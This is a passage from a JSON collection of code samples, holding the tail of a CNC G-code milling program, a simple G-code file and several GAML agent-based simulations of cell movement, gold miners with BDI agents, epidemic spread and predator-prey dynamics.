Z5.0\r\nN626 M9\r\nN627 M5\r\nN628 D0\r\nN629 IF W_BLADE==TRUE\r\nN630 G00 SUPA Z=0 BZ=0\r\nN631 ELSE\r\nN632 G00 SUPA Z=0\r\nN633 ENDIF\r\nN634 ; T55 (055) A30 R3 POS 6 CNC 2\r\nN635 T55 D1\r\nN636 M6\r\nN637 TRANS X=SPIN_X_OFFSET Y=SPIN_Y_OFFSET\r\nN638 G54 CFIN\r\nN639 ; OP 9\r\nN640 G90 G0 X-8.4366 Y-4.8499\r\nN641 Z5.0\r\nN642 S2500 M3\r\nN643 G4 F1.0\r\nN644 G0 Z4.0\r\nN645 M8\r\nN646 G90 G1 X-8.4366 Y-4.8499 Z0.0 F50.0\r\nN647 M13\r\nN648 DO $R44=1\r\nN649 G41\r\nN650 G90 G1 X-7.0092 Y-5.5081 Z0.0 F45.0\r\nN651 G90 G3 X-5.8491 Y-1.4856 Z0.0 I-6.3893 J4.0212 F45.0\r\nN652 G90 G3 X-7.5009 Y3.2269 Z0.0 I-7.5483 J0.0 F45.0\r\nN653 G90 G3 X-9.2607 Y2.3971 Z0.0 I-0.7812 J-0.6243 F45.0\r\nN654 G90 G2 X-9.3588 Y0.9347 Z0.0 I-2.6511 J-0.5567 F45.0\r\nN655 G90 G2 X-8.5819 Y-1.0914 Z0.0 I-2.1384 J-1.9819 F45.0\r\nN656 G90 G2 X-12.0286 Y-4.8159 Z0.0 I-3.316 J-0.3884 F45.0\r\nN657 G90 G2 X-11.5166 Y-6.2138 Z0.0 I-1.2874 J-1.2642 F45.0\r\nN658 G90 G2 X-11.5202 Y-7.3654 Z0.0 I-411.1186 J0.7009 F45.0\r\nN659 G90 G3 X-10.0807 Y-8.2681 Z0.0 I1.0 J-0.0045 F45.0\r\nN660 G90 G3 X-7.0092 Y-5.5081 Z0.0 I-3.3178 J6.7813 F45.0\r\nN661 G40 G90 G1 X-8.1714 Y-4.5684 Z0.0 F45.0\r\nN662 DO $R44=0\r\nN663 M15\r\nN664 G0 Z5.0\r\nN665 M9\r\nN666 G90 G0 X-9.4749 Y0.8697\r\nN667 Z4.0\r\nN668 M8\r\nN669 G90 G1 X-9.4749 Y0.8697 Z0.0 F50.0\r\nN670 M13\r\nN671 DO $R44=1\r\nN672 G41\r\nN673 G90 G1 X-8.1381 Y2.0792 Z0.0 F45.0\r\nN674 G90 G3 X-9.1579 Y4.7597 Z0.0 I-2.4239 J0.612 F45.0\r\nN675 G90 G3 X-13.3975 Y6.0627 Z0.0 I-4.2395 J-6.2453 F45.0\r\nN676 G90 G3 X-17.637 Y4.7597 Z0.0 I0.0002 J-7.5487 F45.0\r\nN677 G90 G3 X-17.1161 Y2.9331 Z0.0 I0.5616 J-0.8274 F45.0\r\nN678 G90 G2 X-15.2869 Y2.1586 Z0.0 I-0.1151 J-2.8192 F45.0\r\nN679 G90 G2 X-13.3975 Y2.4126 Z0.0 I1.9003 J-6.9814 F45.0\r\nN680 G90 G2 X-11.5065 Y2.1586 Z0.0 I-0.0118 J-7.254 F45.0\r\nN681 G90 G2 X-9.679 Y2.9331 Z0.0 I1.9419 J-2.0388 F45.0\r\nN682 G90 G3 X-7.3985 Y4.6722 Z0.0 I-0.1016 J2.4979 F45.0\r\nN683 G40 G90 G1 X-7.896 Y6.405 Z0.0 F45.0\r\nN684 DO $R44=0\r\nN685 M15\r\nN686 G0 Z5.0\r\nN687 M9\r\nN688 G90 G0 X-15.4413 Y2.6078\r\nN689 Z4.0\r\nN690 M8\r\nN691 G90 G1 X-15.4413 Y2.6078 Z0.0 F50.0\r\nN692 M13\r\nN693 DO $R44=1\r\nN694 G41\r\nN695 G90 G1 X-16.5435 Y4.0344 Z0.0 F45.0\r\nN696 G90 G3 X-19.295 Y3.2258 Z0.0 I-0.7983 J-2.3691 F45.0\r\nN697 G90 G3 X-20.946 Y-1.4856 Z0.0 I5.8977 J-4.7117 F45.0\r\nN698 G90 G3 X-20.4903 Y-4.0692 Z0.0 I7.5503 J-0.0001 F45.0\r\nN699 G90 G3 X-18.8769 Y-4.4661 Z0.0 I0.9396 J0.3422 F45.0\r\nN700 G90 G2 X-18.7269 Y-4.4028 Z0.0 I0.1644 J-0.1804 F45.0\r\nN701 G90 G3 X-17.8896 Y-2.9612 Z0.0 I-0.059 J0.9983 F45.0\r\nN702 G90 G2 X-18.2141 Y-1.0914 Z0.0 I2.9995 J1.4837 F45.0\r\nN703 G90 G2 X-17.4364 Y0.9347 Z0.0 I2.921 J0.0411 F45.0\r\nN704 G90 G2 X-17.5349 Y2.3968 Z0.0 I2.5564 J0.9066 F45.0\r\nN705 G90 G3 X-18.6639 Y5.0331 Z0.0 I-2.447 J0.512 F45.0\r\nN706 G40 G90 G1 X-20.4657 Y4.9742 Z0.0 F45.0\r\nN707 DO $R44=0\r\nN708 M15\r\nN709 G0 Z5.0\r\nN710 M9\r\nN711 M5\r\nN712 D0\r\nN713 G53\r\nN714 IF W_BLADE==TRUE\r\nN715 G00 SUPA Z=0 BZ=0 C=0\r\nN716 ELSE\r\nN717 G00 SUPA Z=0\r\nN718 ENDIF\r\nN719 ;MD14512[5] = 1H\r\nN720 IF $MN_USER_DATA_HEX[5] B_AND 'B00000001'\r\nN721    PARKMACHINE\r\nN722 ELSE\r\nN723    SUPA X=$MA_POS_LIMIT_PLUS[X]-0.1 Y=$MA_POS_LIMIT_PLUS[Y]-0.1\r\nN724 ENDIF\r\nN725 M30"
  },
  {
    "path": "samples/G-code/square.g",
    "content": "G28 X0 Y0\nG1 X55 Y5 F2000\nG1 Y180\nG1 X180\nG1 Y5\nG1 X55\nG1 Y180\nG1 X180\nG1 Y5\nG1 X55\nM0\n\n\n"
  },
  {
    "path": "samples/GAML/3dTutorial.gaml",
    "content": "model Tuto3D\n\nglobal {\n  int nb_cells <-100;\n  int environmentSize <-100;\n  geometry shape <- cube(environmentSize);  \n  init { \n    create cells number: nb_cells { \n      location <- {rnd(environmentSize), rnd(environmentSize), rnd(environmentSize)};       \n    } \n  }  \n} \n    \nspecies cells skills: [moving3D] {  \n    rgb color;\n    list<cells> neighbors;\n    int offset;\n    \n    reflex move {\n      do wander;    \n    }   \n    \n    reflex computeNeighbors {\n      neighbors <- cells select ((each distance_to self) < 10);\n    }\n        \n    aspect default {\n        draw sphere(environmentSize*0.01) color:#orange;\n        loop pp over: neighbors {\n            draw line([self.location,pp.location]);\n        }   \n    }\n}\n\n\nexperiment Tuto3D  type: gui {\n  parameter \"Initial number of cells: \" var: nb_cells min: 1 max: 1000 category: \"Cells\" ;\n  output {\n    display View1 type:opengl background:rgb(10,40,55){\n      graphics \"env\"{\n        draw cube(environmentSize) color: #black empty:true;    \n      }\n      species cells;\n    }\n  }  \n}\n\n"
  },
  {
    "path": "samples/GAML/bdiAgents.gaml",
    "content": "model GoldBdi\n\nglobal {\n    int nb_mines <- 10; \n    int nbminer<-5;\n    int nb_police <- 1;\n    int fine <-0;\n    market the_market;\n    \n    string mine_at_location <- \"mine_at_location\";\n    string empty_mine_location <- \"empty_mine_location\";\n    \n    float step <- 10#mn;\n    \n    //possible predicates concerning miners\n    predicate mine_location <- new_predicate(mine_at_location) ;\n    predicate choose_goldmine <- new_predicate(\"choose a gold mine\");\n    predicate has_gold <- new_predicate(\"extract gold\");\n    predicate find_gold <- new_predicate(\"find gold\") ;\n    predicate sell_gold <- new_predicate(\"sell gold\") ;\n    predicate share_information <- new_predicate(\"share information\") ;\n    \n    \n    emotion joy <- new_emotion(\"joy\");\n    \n    float inequality <- 0.0 update:standard_deviation(miner collect each.gold_sold);\n    \n    geometry shape <- square(20 #km);\n    init\n    {\n        create market {\n            the_market <- self; \n        }\n        create goldmine number:nb_mines;\n        create miner number:nbminer;\n        create policeman number:nb_police;\n    }\n    \n    reflex end_simulation when: sum(goldmine collect each.quantity) = 0 and empty(miner where each.has_belief(has_gold)){\n        do pause;\n        ask miner{\n            write name + \" : \" +gold_sold;\n        }\n        write \"**********************\";\n        write \"fine : \" + fine;\n    }\n}\n\nspecies goldmine {\n    int quantity <- rnd(1,20);\n    aspect default\n    {\n        if (quantity = 0) {\n            draw triangle(200) color: #gray border: #black; \n        } else {\n            draw triangle(200 + quantity*50) color: #yellow border: #black; \n        }\n     \n    }\n}\n\nspecies market {\n    int golds;\n    aspect default\n    {\n      draw square(1000) color: #black ;\n    }\n}\n\nspecies policeman skills: [moving] control:simple_bdi {\n    predicate patroling <- new_predicate(\"patrolling\");\n    float viewdist <- 1000.0;\n    miner agent_perceived <- nil;\n    \n    init {\n        do add_desire(patroling);\n    }\n    \n    perceive target:miner in: viewdist{\n        enforcement law:\"working\" sanction:\"sanctionToLaw\";\n        enforcement obligation:has_gold /*when:has_belief(has_gold)*/ sanction: \"sanctionToObligation\" reward:\"rewardToObligation\";\n    }\n    \n    sanction sanctionToLaw{\n        ask agent_perceived{\n            thresholdLaw <- 0.0;\n            gold_sold <- gold_sold-5;\n        }\n        fine <- fine +5;\n    }\n    \n    sanction sanctionToObligation {\n        ask agent_perceived{\n            gold_sold <- gold_sold-3;\n            do remove_intention(sell_gold,true);\n            thresholdObligation <- self.thresholdObligation - 0.1;\n        }\n        fine <- fine + 3;\n    }\n    \n    sanction rewardToObligation{\n        ask agent_perceived{\n            gold_sold <- gold_sold+2;\n        }\n        fine <- fine -2;\n    }\n    \n    plan patrol intention: patroling{\n        do wander;\n    }\n    \n    aspect base{\n        draw circle(viewdist) color: #blue depth:0.0;\n    }\n}\n\nspecies miner skills: [moving] control:simple_bdi {\n    \n    float viewdist<-1000.0;\n    float speed <- 2#km/#h;\n    rgb mycolor<-rnd_color(255);\n    point target;\n    int gold_sold;\n    int gold_transported<-0;\n    agent agent_perceived<-nil;\n    \n    bool use_social_architecture <- true;\n    bool use_emotions_architecture <- true;\n    bool use_personality <- true;\n    \n    float openness <- gauss(0.5,0.12);\n    float conscientiousness <- gauss(0.5,0.12);\n    float extraversion <- gauss(0.5,0.12);\n    float agreeableness <- gauss(0.5,0.12);\n    float neurotism <- gauss(0.5,0.12);\n    \n    float plan_persistence <- 1.0;\n    float intention_persistence <- 1.0;\n    \n    float thresholdLaw <- 1.0;\n    float thresholdObligation <- 1.0;\n    float thresholdNorm <- 0.5;\n    \n    init\n    {\n        do add_desire(find_gold);\n    }\n    \n    perceive target:self{\n        if(gold_transported>0){\n            do add_belief(has_gold);\n        } else {\n            do remove_belief(has_gold);\n        }\n    }\n    \n    perceive target:miner in:viewdist {\n        myself.agent_perceived<-self;\n        socialize liking: point(mycolor.red, mycolor.green, mycolor.blue) distance_to point(myself.mycolor.red, myself.mycolor.green, myself.mycolor.blue) / ( 255) - 1;\n        enforcement norm:\"share_information\" sanction:\"sanctionToNorm\" reward:\"rewardToNorm\";\n    }\n        \n    sanction sanctionToNorm{\n        do change_liking(agent_perceived,-0.1);\n    }   \n    \n    sanction rewardToNorm{\n        do change_liking(agent_perceived,0.1);\n    }\n        \n    perceive target:goldmine where (each.quantity > 0) in:viewdist {\n        focus id:mine_at_location var:location;\n        ask myself {\n            if (has_emotion(joy)) {do add_desire(predicate:share_information, strength: 5.0);}\n            do remove_intention(find_gold, false);\n        }\n    }\n    \n    rule belief: has_gold new_desire: sell_gold strength: 3.0;\n    \n    law working belief: mine_location new_obligation: has_gold when:not has_obligation(has_gold) and not has_belief(has_gold) strength: 2.0 threshold:thresholdLaw;\n    \n    plan letsWander intention:find_gold \n    {\n        do wander;\n    }\n    \n    norm doingJob obligation:has_gold finished_when: has_belief(has_gold) threshold:thresholdObligation{\n        if (target = nil) {\n            do add_subintention(has_gold,choose_goldmine, true);\n            do current_intention_on_hold();\n        } else {\n            do goto target: target ;\n            if (target = location)  {\n                goldmine current_mine<- goldmine first_with (target = each.location);\n                if current_mine.quantity > 0 {\n                    gold_transported <- gold_transported+1;\n                    do add_belief(has_gold);\n                    ask current_mine {quantity <- quantity - 1;}    \n                } else {\n                    do add_belief(new_predicate(empty_mine_location, [\"location_value\"::target]));\n                    do remove_belief(new_predicate(mine_at_location, [\"location_value\"::target]));\n                }\n                target <- nil;\n            }\n        }   \n    }\n    \n    plan getMoreGold intention:has_gold\n    {\n        if (target = nil) {\n            do add_subintention(has_gold,choose_goldmine, true);\n            do current_intention_on_hold();\n        } else {\n            do goto target: target ;\n            if (target = location)  {\n                goldmine current_mine<- goldmine first_with (target = each.location);\n                if current_mine.quantity > 0 {\n                    gold_transported <- 3;\n                    do add_belief(has_gold);\n                    ask current_mine {if(quantity>=3) {\n                        quantity <- quantity - 3;\n                    }else {\n                        quantity <- 0;\n                    } \n                    }   \n                } else {\n                    do add_belief(new_predicate(empty_mine_location, [\"location_value\"::target]));\n                    do remove_belief(new_predicate(mine_at_location, [\"location_value\"::target]));\n                }\n                target <- nil;\n            }\n        }   \n    }\n    \n    plan choose_closest_goldmine intention: choose_goldmine instantaneous: true{\n        list<point> possible_mines <- get_beliefs_with_name(mine_at_location) collect (point(get_predicate(mental_state (each)).values[\"location_value\"]));\n        list<point> empty_mines <- get_beliefs_with_name(empty_mine_location) collect (point(get_predicate(mental_state (each)).values[\"location_value\"]));\n        possible_mines <- possible_mines - empty_mines;\n        if (empty(possible_mines)) {\n            do remove_intention(has_gold, true); \n        } else {\n            target <- (possible_mines with_min_of (each distance_to self)).location;\n        }\n        do remove_intention(choose_goldmine, true); \n    }\n    \n    plan return_to_base intention: sell_gold when: has_belief(has_gold){\n        do goto target: the_market ;\n        if (the_market.location = location)  {\n            do remove_belief(has_gold);\n            do remove_intention(sell_gold, true);\n            gold_sold <- gold_sold + gold_transported;\n            gold_transported <- 0;\n        }\n    }\n    \n    norm share_information intention:share_information threshold:thresholdNorm instantaneous: true{\n        list<miner> my_friends <- list<miner>((social_link_base where (each.liking > 0)) collect each.agent);\n        loop known_goldmine over: get_beliefs_with_name(mine_at_location) {\n            ask my_friends {\n                do add_belief(known_goldmine);\n            }\n        }\n        loop known_empty_goldmine over: get_beliefs_with_name(empty_mine_location) {\n            ask my_friends {\n                do add_belief(known_empty_goldmine);\n            }\n        }\n        \n        do remove_intention(share_information, true); \n    }\n    \n    plan share_information_to_friends intention: share_information instantaneous: true{\n        list<miner> my_friends <- list<miner>((social_link_base where (each.liking > 0)) collect each.agent);\n        loop known_goldmine over: get_beliefs_with_name(empty_mine_location) {\n            ask my_friends {\n                do add_belief(known_goldmine);\n            }\n        }       \n        do remove_intention(share_information, true); \n    }\n\n    aspect default {\n      draw circle(200) color: mycolor border: #black depth: gold_sold;\n    }\n}\n\n\nexperiment GoldBdi type: gui {\n    output {\n        display map type: opengl\n        {\n            species market ;\n            species goldmine ;\n            species miner;\n            species policeman aspect:base;\n        }\n        \n    }\n}\n\n"
  },
  {
    "path": "samples/GAML/incrementalGIS.gaml",
    "content": "model model7 \n\nglobal  {\n    int nb_people <- 500;\n    float step <- 1 #minutes;\n    float infection_distance <- 2.0 #m;\n    float proba_infection <- 0.05;\n    int nb_infected_init <- 5;\n    file roads_shapefile <- file(\"../includes/road.shp\");\n    file buildings_shapefile <- file(\"../includes/building.shp\");\n    geometry shape <- envelope(roads_shapefile);\n    graph road_network;\n    int current_hour update: (cycle / 60) mod 24;\n    float staying_coeff update: 10.0 ^ (1 + min([abs(current_hour - 9), abs(current_hour - 12), abs(current_hour - 18)]));\n    float beta <- 0.01;\n    float h<-0.1;\n    list<people_in_building> list_people_in_buildings update: (building accumulate each.people_inside) where (not dead(each));\n    int nb_people_infected <- nb_infected_init update: people count (each.is_infected) + (empty(list_people_in_buildings) ? 0 : list_people_in_buildings count (each.is_infected));\n    \n    int nb_people_not_infected <- nb_people - nb_infected_init update: nb_people - nb_people_infected;\n    bool is_night <- true update: current_hour < 7 or current_hour > 20;\n    \n    float infected_rate update: nb_people_infected/nb_people;\n    init {\n        create road from: roads_shapefile;\n        road_network <- as_edge_graph(road);\n        create building from: buildings_shapefile;\n        create people number:nb_people {\n            speed <- 5.0 #km/#h;\n            building bd <- one_of(building);\n            location <- any_location_in(bd);\n        }\n        ask nb_infected_init among people {\n            is_infected <- true;\n        }\n        \n    }\n    reflex end_simulation when: infected_rate = 1.0 {       \n        do halt;\n    }\n}\n\nspecies people skills:[moving]{     \n    bool is_infected <- false;\n    point target;\n    int staying_counter;\n        \n    reflex move when: target != nil{\n        do goto target:target on: road_network;\n        if (location = target) {\n            target <- any_location_in (one_of(building));\n            target <- nil;\n            staying_counter <- 0;\n        } \n    }\n    reflex infect when: is_infected{\n        ask people at_distance infection_distance {\n            if flip(proba_infection) {\n                is_infected <- true;\n            }\n        }\n    }\n    aspect circle{\n        draw circle(5) color:is_infected ? #red : #green;\n    }\n    aspect sphere3D{\n        draw sphere(3) at: {location.x,location.y,location.z + 3} color:is_infected ? #red : #green;\n    }\n}\n\nspecies road {\n    geometry display_shape <- shape + 2.0;\n    aspect geom {\n        draw display_shape color: #black depth: 3.0;\n    }\n}\n\nspecies building {\n    float height <- 10#m + rnd(10) #m;\n    list<people_in_building> people_inside -> {members collect people_in_building(each)};\n    float I;\n    float S;\n    float T;\n    float t;   \n    float I_to1; \n    \n    aspect geom {\n        int nbI <- members count people_in_building(each).is_infected;\n        int nbT <- length(members);\n        draw shape color:nbT = 0 ? #gray : (float(nbI)/nbT > 0.5 ? #red : #green) depth: height;\n    }\n    \n    species people_in_building parent: people schedules: [] {\n    }\n    \n    reflex let_people_leave  {\n        ask members as: people_in_building{\n            staying_counter <- staying_counter + 1;\n        }\n        list<people_in_building> leaving_people <- list<people_in_building>(members where (flip(people_in_building(each).staying_counter / staying_coeff)));\n        if not (empty (leaving_people)) {\n            release leaving_people as: people in: world returns: released_people;\n            ask released_people {\n                target <- any_location_in (one_of(building));\n            }\n        }\n    }\n    reflex let_people_enter {\n        list<people> entering_people <- people inside self where (each.target = nil);\n        if not (empty (entering_people)) {\n            capture entering_people as: people_in_building ;\n        }\n    }\n    equation SI{ \n        diff(S,t) = (- beta * S * I / T) ;\n        diff(I,t) = (  beta * S * I / T) ;\n    }\n\n    reflex epidemic when: not empty(members){   \n        T <- float(length(members));\n        list<people_in_building> S_members <- list<people_in_building>(members where not (people_in_building(each).is_infected));\n        S <- float(length(S_members));\n        I <- T-S;\n        float I0 <- I;\n        if (I > 0 and S > 0) {\n            solve SI method: \"rk4\" step: h;\n            I_to1 <- I_to1 + (I - I0);\n            int I_int <- min([int(S),int(I_to1)]);\n            I_to1 <- I_to1 - I_int;\n            ask(I_int among S_members){\n                is_infected <- true;\n            }\n        }\n    }  \n}\n\nexperiment main_experiment type:gui{\n    parameter \"Infection distance\" var: infection_distance;\n    parameter \"Proba infection\" var: proba_infection min: 0.0 max: 1.0;\n    parameter \"Nb people infected at init\" var: nb_infected_init ;\n    output {\n        monitor \"Current hour\" value: current_hour;\n        monitor \"Infected people rate\" value: infected_rate;\n        display map_3D type: opengl {\n            light 1 color:(is_night ? 50 : 255);\n            image \"../includes/soil.jpg\";\n            species road aspect:geom;\n            species people aspect:sphere3D;         \n            species building aspect:geom transparency: 0.5;\n        }\n        display chart refresh:every(10) {\n            chart \"Disease spreading\" type: series {\n                data \"susceptible\" value: nb_people_not_infected color: #green;\n                data \"infected\" value: nb_people_infected color: #red;\n            }\n        }\n    }\n}\n\n"
  },
  {
    "path": "samples/GAML/luneraysFlu.gaml",
    "content": "model model4\n\nglobal {\n    int nb_people <- 2147;\n    int nb_infected_init <- 5;\n    float step <- 5 #mn;\n    file roads_shapefile <- file(\"../includes/roads.shp\");\n    file buildings_shapefile <- file(\"../includes/buildings.shp\");\n    geometry shape <- envelope(roads_shapefile);    \n    graph road_network;\n    \n    \n    int nb_people_infected <- nb_infected_init update: people count (each.is_infected);\n    int nb_people_not_infected <- nb_people - nb_infected_init update: nb_people - nb_people_infected;\n    float infected_rate update: nb_people_infected/nb_people;\n    \n    \n    init{\n        create road from: roads_shapefile;\n        road_network <- as_edge_graph(road);        \n        create building from: buildings_shapefile;\n        create people number:nb_people {\n            location <- any_location_in(one_of(building));              \n        }\n        ask nb_infected_init among people {\n            is_infected <- true;\n        }\n    }\n}\n\nspecies people skills:[moving]{     \n    float speed <- (2 + rnd(3)) #km/#h;\n    bool is_infected <- false;\n    point target;\n    \n    reflex stay when: target = nil {\n        if flip(0.05) {\n            target <- any_location_in (one_of(building));\n        }\n    }\n        \n    reflex move when: target != nil{\n        do goto target:target on: road_network;\n        if (location = target) {\n            target <- nil;\n        } \n    }\n\n    reflex infect when: is_infected{\n        ask people at_distance 10 #m {\n            if flip(0.05) {\n                is_infected <- true;\n            }\n        }\n    }\n    \n    aspect circle {\n        draw circle(10) color:is_infected ? #red : #green;\n    }\n    \n    aspect geom3D {\n        if target != nil {\n            draw obj_file(\"../includes/people.obj\", 90::{-1,0,0}) size: 5\n            at: location + {0,0,7} rotate: heading - 90 color: is_infected ? #red : #green;\n        }\n    }\n    \n}\n\nspecies road {\n    aspect geom {\n        draw shape color: #black;\n    }\n    aspect geom3D {\n        draw line(shape.points, 2.0) color: #black;\n    }\n}\n\nspecies building {\n    aspect geom {\n        draw shape color: #gray;\n    }\n    aspect geom3D {\n        draw shape depth: 20 #m border: #black texture:[\"../includes/roof_top.png\",\"../includes/texture.jpg\"];\n    }\n}\n\nexperiment main type: gui {\n    parameter \"Nb people infected at init\" var: nb_infected_init min: 1 max: 2147;\n\n    output {\n        monitor \"Infected people rate\" value: infected_rate;\n        \n        display map {\n            species road aspect:geom;\n            species building aspect:geom;\n            species people aspect:circle;           \n        }\n        \n        \n        \n        display chart_display refresh: every(10 #cycle) {\n            chart \"Disease spreading\" type: series {\n                data \"susceptible\" value: nb_people_not_infected color: #green;\n                data \"infected\" value: nb_people_infected color: #red;\n            }\n        }\n        display view3D type: opengl ambient_light: 80 {\n            image \"../includes/luneray.png\" refresh:false; \n            species building aspect:geom3D refresh: false;\n            species road aspect: geom3D refresh: false;\n            species people aspect: geom3D ; \n        }\n    }\n}\n\n"
  },
  {
    "path": "samples/GAML/predatorPrey.gaml",
    "content": "model prey_predator\n\nglobal {\n    int nb_preys_init <- 200;\n    int nb_predators_init <- 20;\n    float prey_max_energy <- 1.0;\n    float prey_max_transfert <- 0.1 ;\n    float prey_energy_consum <- 0.05;\n    float predator_max_energy <- 1.0;\n    float predator_energy_transfert <- 0.5;\n    float predator_energy_consum <- 0.02;\n    float prey_proba_reproduce <- 0.01;\n    int prey_nb_max_offsprings <- 5; \n    float prey_energy_reproduce <- 0.5; \n    float predator_proba_reproduce <- 0.01;\n    int predator_nb_max_offsprings <- 3;\n    float predator_energy_reproduce <- 0.5;\n    file map_init <- image_file(\"../images/predator_prey_raster_map.png\");\n    \n    int nb_preys -> {length (prey)};\n    int nb_predators -> {length (predator)};\n    \n    init {\n        create prey number: nb_preys_init ; \n        create predator number: nb_predators_init ;\n        ask vegetation_cell {\n            color <- rgb (map_init at {grid_x,grid_y}) ;\n            food <- 1 - (((color as list)[0]) / 255) ;\n            foodProd <- food / 100 ; \n        }\n    }\n    \n    reflex save_result when: (nb_preys > 0) and (nb_predators > 0){\n        save (\"cycle: \"+ cycle + \"; nbPreys: \" + nb_preys\n            + \"; minEnergyPreys: \" + ((prey as list) min_of each.energy)\n            + \"; maxSizePreys: \" + ((prey as list) max_of each.energy) \n            + \"; nbPredators: \" + nb_predators           \n            + \"; minEnergyPredators: \" + ((predator as list) min_of each.energy)          \n            + \"; maxSizePredators: \" + ((predator as list) max_of each.energy)) \n            to: \"results.txt\" type: \"text\" ;\n    }\n    \n    reflex stop_simulation when: (nb_preys = 0) or (nb_predators = 0) {\n        do halt ;\n    } \n}\n\nspecies generic_species {\n    float size <- 1.0;\n    rgb color  ;\n    float max_energy;\n    float max_transfert;\n    float energy_consum;\n    float proba_reproduce ;\n    float nb_max_offsprings;\n    float energy_reproduce;\n    image_file my_icon;\n    vegetation_cell myCell <- one_of (vegetation_cell) ;\n    float energy <- (rnd(1000) / 1000) * max_energy  update: energy - energy_consum max: max_energy ;\n    \n    init {\n        location <- myCell.location;\n    }\n        \n    reflex basic_move {\n        myCell <- choose_cell();\n        location <- myCell.location; \n    } \n    \n    vegetation_cell choose_cell {\n        return nil;\n    }\n        \n    reflex die when: energy <= 0 {\n        do die ;\n    }\n    \n    reflex reproduce when: (energy >= energy_reproduce) and (flip(proba_reproduce)) {\n        int nb_offsprings <- 1 + rnd(nb_max_offsprings -1);\n        create species(self) number: nb_offsprings {\n            myCell <- myself.myCell ;\n            location <- myCell.location ;\n            energy <- myself.energy / nb_offsprings ;\n        }\n        energy <- energy / nb_offsprings ;\n    }\n    \n    aspect base {\n        draw circle(size) color: color ;\n    }\n    aspect icon {\n        draw my_icon size: 2 * size ;\n    }\n    aspect info {\n        draw square(size) color: color ;\n        draw string(energy with_precision 2) size: 3 color: #black ;\n    }\n}\n\nspecies prey parent: generic_species {\n    rgb color <- #blue;\n    float max_energy <- prey_max_energy ;\n    float max_transfert <- prey_max_transfert ;\n    float energy_consum <- prey_energy_consum ;\n    float proba_reproduce <- prey_proba_reproduce ;\n    int nb_max_offsprings <- prey_nb_max_offsprings ;\n    float energy_reproduce <- prey_energy_reproduce ;\n    file my_icon <- file(\"../images/predator_prey_sheep.png\") ;\n        \n    reflex eat when: myCell.food > 0 {\n        float energy_transfert <- min([max_transfert, myCell.food]) ;\n        myCell.food <- myCell.food - energy_transfert ;\n        energy <- energy + energy_transfert ;\n    }\n    \n    vegetation_cell choose_cell {\n        return (myCell.neighbors) with_max_of (each.food);\n    }\n}\n    \nspecies predator parent: generic_species {\n    rgb color <- #red ;\n    float max_energy <- predator_max_energy ;\n    float energy_transfert <- predator_energy_transfert ;\n    float energy_consum <- predator_energy_consum ;\n    list<prey> reachable_preys update: prey inside (myCell);\n    float proba_reproduce <- predator_proba_reproduce ;\n    int nb_max_offsprings <- predator_nb_max_offsprings ;\n    float energy_reproduce <- predator_energy_reproduce ;\n    file my_icon <- file(\"../images/predator_prey_wolf.png\") ;\n    \n    reflex eat when: ! empty(reachable_preys) {\n        ask one_of (reachable_preys) {\n            do die ;\n        }\n        energy <- energy + energy_transfert ;\n    }\n    \n    vegetation_cell choose_cell {\n        vegetation_cell myCell_tmp <- shuffle(myCell.neighbors) first_with (!(empty (prey inside (each))));\n        if myCell_tmp != nil {\n            return myCell_tmp;\n        } else {\n            return one_of (myCell.neighbors);\n        } \n    }\n}\n    \ngrid vegetation_cell width: 50 height: 50 neighbors: 4 {\n    float maxFood <- 1.0 ;\n    float foodProd <- (rnd(1000) / 1000) * 0.01 ;\n    float food <- (rnd(1000) / 1000) max: maxFood update: food + foodProd ;\n    rgb color <- rgb(int(255 * (1 - food)), 255, int(255 * (1 - food))) update: rgb(int(255 * (1 - food)), 255, int(255 *(1 - food))) ;\n    list<vegetation_cell> neighbors  <- (self neighbors_at 2); \n}\n\nexperiment prey_predator type: gui {\n    parameter \"Initial number of preys: \" var: nb_preys_init  min: 0 max: 1000 category: \"Prey\" ;\n    parameter \"Prey max energy: \" var: prey_max_energy category: \"Prey\" ;\n    parameter \"Prey max transfert: \" var: prey_max_transfert  category: \"Prey\" ;\n    parameter \"Prey energy consumption: \" var: prey_energy_consum  category: \"Prey\" ;\n    parameter \"Initial number of predators: \" var: nb_predators_init  min: 0 max: 200 category: \"Predator\" ;\n    parameter \"Predator max energy: \" var: predator_max_energy category: \"Predator\" ;\n    parameter \"Predator energy transfert: \" var: predator_energy_transfert  category: \"Predator\" ;\n    parameter \"Predator energy consumption: \" var: predator_energy_consum  category: \"Predator\" ;\n    parameter 'Prey probability reproduce: ' var: prey_proba_reproduce category: 'Prey' ;\n    parameter 'Prey nb max offsprings: ' var: prey_nb_max_offsprings category: 'Prey' ;\n    parameter 'Prey energy reproduce: ' var: prey_energy_reproduce category: 'Prey' ;\n    parameter 'Predator probability reproduce: ' var: predator_proba_reproduce category: 'Predator' ;\n    parameter 'Predator nb max offsprings: ' var: predator_nb_max_offsprings category: 'Predator' ;\n    parameter 'Predator energy reproduce: ' var: predator_energy_reproduce category: 'Predator' ;\n    \n    output {\n        display main_display {\n            grid vegetation_cell lines: #black ;\n            species prey aspect: icon ;\n            species predator aspect: icon ;\n        }\n        display info_display {\n            grid vegetation_cell lines: #black ;\n            species prey aspect: info ;\n            species predator aspect: info ;\n        }\n        display Population_information refresh:every(5#cycles) {\n            chart \"Species evolution\" type: series size: {1,0.5} position: {0, 0} {\n                data \"number_of_preys\" value: nb_preys color: #blue ;\n                data \"number_of_predator\" value: nb_predators color: #red ;\n            }\n            chart \"Prey Energy Distribution\" type: histogram background: rgb(\"lightGray\") size: {0.5,0.5} position: {0, 0.5} {\n                data \"]0;0.25]\" value: prey count (each.energy <= 0.25) color:#blue;\n                data \"]0.25;0.5]\" value: prey count ((each.energy > 0.25) and (each.energy <= 0.5)) color:#blue;\n                data \"]0.5;0.75]\" value: prey count ((each.energy > 0.5) and (each.energy <= 0.75)) color:#blue;\n                data \"]0.75;1]\" value: prey count (each.energy > 0.75) color:#blue;\n            }\n            chart \"Predator Energy Distribution\" type: histogram background: rgb(\"lightGray\") size: {0.5,0.5} position: {0.5, 0.5} {\n                data \"]0;0.25]\" value: predator count (each.energy <= 0.25) color: #red ;\n                data \"]0.25;0.5]\" value: predator count ((each.energy > 0.25) and (each.energy <= 0.5)) color: #red ;\n                data \"]0.5;0.75]\" value: predator count ((each.energy > 0.5) and (each.energy <= 0.75)) color: #red ;\n                data \"]0.75;1]\" value: predator count (each.energy > 0.75) color: #red;\n            }\n        }\n        monitor \"Number of preys\" value: nb_preys;\n        monitor \"Number of predators\" value: nb_predators;\n    }\n}\n"
  },
  {
    "path": "samples/GAML/roadTraffic.gaml",
